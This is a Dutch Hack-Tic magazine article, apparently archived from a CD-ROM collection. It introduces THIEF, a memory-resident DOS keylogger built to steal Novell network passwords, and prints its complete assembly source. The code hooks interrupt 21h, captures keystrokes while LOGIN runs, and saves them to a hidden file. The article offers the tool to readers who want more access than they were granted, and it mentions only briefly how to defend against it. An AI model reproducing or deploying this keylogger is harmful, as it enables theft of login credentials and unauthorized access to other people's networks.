home *** CD-ROM | disk | FTP | other *** search
- ;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop.
- ;Nadruk wordt door de redaktie toegestaan!
- ;------------------------------------------------------------------------------
- ;
- ; Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken
- ;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of
- ;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het
- ;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van
- ;een anonieme auteur.
- ;
- ; THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma
- ;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om
- ;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong
- ;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington
- ;High School in Denver, Colorado USA.
- ; Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30
- ;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait
- ;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op
- ;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden
- ;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende
- ;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2
- ;model 80's(!) met harddisks. De systeembeheerders en andere "power-users"
- ;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen
- ;hard-disks, zij gebruiken geen boot-proms.
- ; Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF
- ;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase.
- ;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen"
- ;programma op de bootschijf activeerde. Zodra er echter een programma met de
- ;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle
- ;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De
- ;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft.
- ; Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de
- ;zwakheden die deze hack mogelijk maken:
- ; -Een boot-proces dat veranderd kan worden
- ; -Fysieke toegang (door een onbevoegde) tot de computer
- ; Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is
- ;Kees.
- ; Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde
- ;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS:
- ;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te
- ;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op
- ;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS.
- ;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle
- ;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het
- ;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een
- ;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had
- ;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach,
- ;zo werkt het ook.
- ; Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als
- ;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de
- ;problematiek van LAN-beveiliging.
- ; De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo
- ;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte
- ;genialiteit.
- ;
- ; Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker
- ;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren.
- ;
- ;
- ; DE CODE VAN THIEF:
- ;
- ;
- cseg segment
- assume cs:cseg,ds:cseg
-
- org 100h
- public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
- public cntr,lits,begin
-
- .RADIX 16
- start:
- push cs
- push cs
- push cs
- pop ds
- pop es
- mov ax,0fffeh
- CLI
- pop ss
- mov sp,ax
- STI
- jmp begin
- oi21 dd ?
- ac dw 0
- ob dw 80h dup (?)
- buff2 db 80h dup (?)
- fn db 'c:\testing.tmp',0,' '
- search1 db 'LOGIN'
- foundf db 0
- fh dw 0
- flag db 0
- cntr dw 0
-
- ni21:
- assume cs:cseg,ds:nothing,es:nothing
- cmp ax,4b00h
- je exec
- cmp foundf,0ffh
- jne nc
- cmp ah,8
- je oc
- cmp ah,7
- je oc
-
- nc:
- push ax
- mov al,cs:flag
- not al
- cmp al,0
- jne jtov
- mov ax,cntr
- inc ax
- mov cntr,ax
- cmp ax,31h
- jb jtov
- xor ax,ax
- mov cntr,ax
- mov flag,al
- pop ax
- pushf
- call dword ptr [oi21]
- push ds
- push cs
- pop ds
- push ax
- push bx
- push cx
- push dx
- jmp short wpwtf
-
- jtov:
- pop ax
- jmp dword ptr cs:[oi21]
-
- exec: call scanfor
- jmp nc
- oc:
-
- pushf
- call dword ptr cs:[oi21]
- assume ds:cseg
- push ds
- push cs
- pop ds
- push ax
- push bx
- push cx
- push dx
- mov bx,ac
- mov [bx],al
- inc bx
- mov [ac],bx
- cmp al,0dh
- jne lethro
- mov byte ptr [bx],0ah
- not cs:[flag]
- lethro:
- pop dx
- pop cx
- pop bx
- pop ax
- pop ds
- iret
-
- scanfor:
- push ax
- push di
- push si
- push es
- push ds
- push cs
- push cs
- pop es
- mov si,dx
- mov di,offset buff2
- moveit:
- lodsb
- and al,0dfh
- stosb
- or al,al
- jnz moveit
- pop ds
- mov di,offset buff2
- look:
- push di
- mov si,offset search1
- mov cx,5
- repe cmpsb
- pop di
- or cx,cx
- jz foundit
- inc di
- cmp byte ptr [di+5],0
- je not_found
- jmp look
- not_found:
- xor ax,ax
- mov foundf,al
- jmp short endofsearch
- foundit:
- mov ax,0ffh
- mov foundf,al
- endofsearch:
- pop ds
- pop es
- pop si
- pop di
- pop ax
- ret
-
- wpwtf:
- mov ax,3d02h
- mov dx,offset fn
- pushf
- call dword ptr [oi21]
- jnc exist
- cmp al,2
- je create
- jmp lethro
- create:
- mov ah,3ch
- mov dx,offset fn
- mov cx,02h+04h
- pushf
- call dword ptr [oi21]
- jnc exist
- jmp lethro
- exist:
- mov fh,ax
- mov bx,ax
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- pushf
- call dword ptr [oi21]
- mov cx,[ac]
- mov dx,offset ob
- sub cx,dx
- mov [ac],dx
- inc cx
- mov bx,fh
- mov ah,40h
- pushf
- call dword ptr [oi21]
- mov ah,3eh
- mov bx,fh
- pushf
- call dword ptr [oi21]
- jmp lethro
-
- lits db 90h
- begin:
- mov ax,offset ob
- mov [ac],ax
- mov ax,3521h
- int 21h
- mov di,offset oi21
- mov [di],bx
- mov [di+2],es
- mov dx,offset ni21
- push cs
- pop ds
- mov ax,2521h
- int 21h
- mov dx,offset lits
- int 27h
- cseg ends
- end start